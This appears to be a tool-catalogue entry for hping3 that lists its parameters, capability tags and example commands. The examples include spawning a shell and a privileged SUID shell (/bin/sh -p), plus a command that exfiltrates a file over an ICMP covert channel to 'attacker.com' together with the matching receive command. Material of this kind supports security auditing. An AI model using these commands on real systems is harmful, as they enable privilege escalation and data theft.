Packet crafting and network analysis tool that can spawn shells and exfiltrate data over ICMP.
hping3 {icmp} {data} {sign} {file} {listen} {dump} 📎 icmp 📎 data 📎 sign 📎 file 📎 listen 📎 dump hping3 {icmp} {data} {sign} {file} {listen} {dump}Sandbox: execFile · Timeout: 60s
security.privilege-escalation.shell network.transfer.upload network.craft.packet network.scan.port | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
icmp | string | No | - | Send ICMP packets | --icmp |
data | integer | No | - | Data size | --data |
sign | string | No | - | Signature for ICMP | --sign |
file | file | No | - | File to transfer | --file |
listen | string | No | - | Listen mode | --listen |
dump | string | No | - | Dump received data | --dump |
| Type | Description | MIME | Schema | Trust |
|---|---|---|---|---|
network.packet.capture | Crafted network packets | application/octet-stream | - | community |
Inputs
network.target.ip Target IP address
Outputs
process.output Shell output
network_trafficprocess_spawn Produces
process.outputConsumes
network.target.ip| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | high |
| Disk I/O | low |
Spawn interactive shell via hping3 interactive mode
hping3
/bin/shSpawn privileged shell with SUID
hping3
/bin/sh -pExfiltrate file via ICMP covert channel
hping3 attacker.com --icmp --data 999 --sign xxx --file /path/to/input-fileReceive exfiltrated file on attacker side
hping3 --icmp --listen xxx --dumphping3 is a command-line TCP/IP packet crafting tool. In interactive mode, it can spawn a shell by typing /bin/sh. It can also exfiltrate files over ICMP as a covert channel.